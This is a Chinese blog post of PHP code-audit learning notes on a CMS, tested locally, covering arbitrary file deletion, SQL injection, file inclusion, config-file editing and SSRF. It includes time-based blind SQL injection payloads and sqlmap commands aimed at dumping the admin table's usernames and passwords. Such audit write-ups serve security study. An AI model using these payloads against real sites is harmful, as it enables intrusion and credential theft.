代码审计初尝

@(代码审计学习笔记)

[TOC]

代码审计初尝

[图片上传失败...(image-f76662-1582383795972)]

任意文件删除

文件删除函数只考虑到了白名单路径,但是没有想到 ../

function del_file()
{
    $path = post('path');
    $path = str_replace('../','',$path);
    $dir[0] = 'data/backup/';
    $dir[1] = 'images/';
    $dir[2] = 'resource/';
    $flag = false;
    for($i = 0; $i < count($dir); $i ++)
    {
        if(substr($path,0,strlen($dir[$i])) == $dir[$i])
        {
            $flag = true;
        }
    }
    if($flag)
    {
        if(unlink($path))
        {
            $result = 1;
        }
    }
    echo isset($result) ? $result : 0;
}

根目录新建 aaaa.txt
然后发送请求
[图片上传失败...(image-115a70-1582383795972)]

成功删除文件

后台注入

延时注入

or if(length(database())=6,sleep(3),0)
如果数据库名的长度为6,那么就 sleep(3)
我测试的时候数据库名为 xinxiu ,所以就会出现一定的延时
[图片上传失败...(image-82f0a8-1582383795972)]

延时注入的其他例子

# 判断当前数据库长度 # 当前数据库长度是否为 1 没有延时 不是 cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0) # 延时 表明当前数据库长度为 6 cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0) # 当前数据库第1个字母的ascii码是否为 97 没有延时 不是 cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0) # 延时 表明当前数据库第1个字母的ascii码为 115 即 's' cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0) # 当前数据库第2个字母的ascii码是否为 97 没有延时 不是 cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0) # 延时 表明当前数据库第2个字母的ascii码为 105 即 'i' cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0) ...

注意这里不能用 and ,因为这个 id=3 的用户实际上不存在,所以就不再需要去执行 and 另一边的语句了(短路!)

但是如果这个用户存在当然是可以的咯(那样注入就很麻烦了)
[图片上传失败...(image-28fc8d-1582383795972)]

但是我按照国光的方法使用 sqlmap 失败了

./sqlmap.py -u "http://127.0.0.1/admin.php?/deal/dir-basic/" --cookie="qaq21129s234bj1q4ammcs7fe5;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

[图片上传失败...(image-a426d8-1582383795972)]

另一处后台注入

search_main.php 文件

    $global['key'] = rawurldecode($global['key']);
    $obj = new goods();
    $obj->set_field('goo_id,goo_title,goo_x_img');
    $obj->set_where("goo_title like '%" . $global['key'] . "%'");
    $obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));

这里忘记过滤了

$obj->set_where("goo_title like '%" . $global['key'] . "%'");

[图片上传失败...(image-77c37-1582383795972)]

同样的尝试使用 sqlmap 但是还是失败了(怕是个假的吧)

 ./sqlmap.py -u "http://localhost/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

文件包含

admin/basic_func.php 中:

$global['channel'] 参数可控,比如访问 /admin.php?/service/mod-user_sheet/,那么获取到的是 service ,之后判断文件是否存在进行包含

    global $global;
    $global = array();
    var_dump($_SERVER['QUERY_STRING']);
    $global['url'] = $filter($_SERVER['QUERY_STRING']);
    if($global['url'] != '')
    {
        $arr = explode('/',$global['url']); //以 / 做分隔符
        $global['channel'] = $arr[1];
        var_dump($global);

[图片上传失败...(image-39a35d-1582383795972)]

function main()
{
    global $global,$smarty;
    set_global();
    include_all('admin/class');
    set_more_global();
    $path = 'admin/admin.php';
    if($global['url'] != '')
    {
        $path2 = 'admin/'.$global['channel'].'.php'; //获取到 $global['channel'] 这个参数可控
        var_dump(file_exists($path2));
        if(file_exists($path2))
        {
            $path = $path2;
        }
    }
    include($path);
}

但是这里如果传入 ../ 那么就会导致 file_exists 返回错误,所以暂时无能为力

admin/common.func.php 文件中

function run($parameter)
{
    global $smarty;
    $path = '';
    $display = '';
    extract($parameter); //extract函数存在变量覆盖,但是参数不可控
    $func = 'module_'.$module;
    include('admin/module/'.$path.$module.'.php');
    $func($parameter);
    if($display != 'no')
    {
        $smarty->display('module/'.$path.$module.'.php');
    }
}

任意写文件

common.func.php 存在一处编辑配置文件

[图片上传失败...(image-f46649-1582383795972)]

当然此处是可以随意修改文件的,只是没办法写shell
[图片上传失败...(image-2d1a3b-1582383795972)]

可见过滤还是挺严格的

[图片上传失败...(image-9147d4-1582383795972)]

SSRF

getRemoteImage.php 文件中,

可以获取远程图片

首先必须是 http开头的

if(strpos($imgUrl,"http")!==0){
                array_push( $tmpNames , "error" );
                continue;
            }

校验了后缀名

            $fileType = strtolower( strrchr( $imgUrl , '.' ) );
            if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {
                array_push( $tmpNames , "error" );
                continue;
            }

相关的白名单

    $config = array(
        "savePath" => "../../images/editor/" ,            //保存路径
        "allowFiles" => array( ".gif" , ".png" , ".jpg" , ".jpeg" , ".bmp" ) , //文件允许格式
        "maxSize" => 30000                    //文件大小限制,单位KB
    );

之后会读取文件

readfile( $imgUrl,false,$context);

这么看来感觉问题不大

参考

PHP代码审计初尝

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,732评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,496评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,264评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,807评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,806评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,675评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,029评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,683评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,704评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,666评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,773评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,413评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,016评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,204评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,083评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,503评论 2 343

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,811评论 0 9
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,031评论 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,248评论 2 22
  • 作者:Gilberto Najera-Gutierrez译者:飞龙协议:CC BY-NC-SA 4.0 简介 这章...
    三月行者阅读 1,874评论 2 7
  • 注意:分割线下面内容来自知乎,原文来自I春秋 第一,搜集目标网站信息。windows下用爱站whois去查相关信息...
    FKTX阅读 417评论 0 0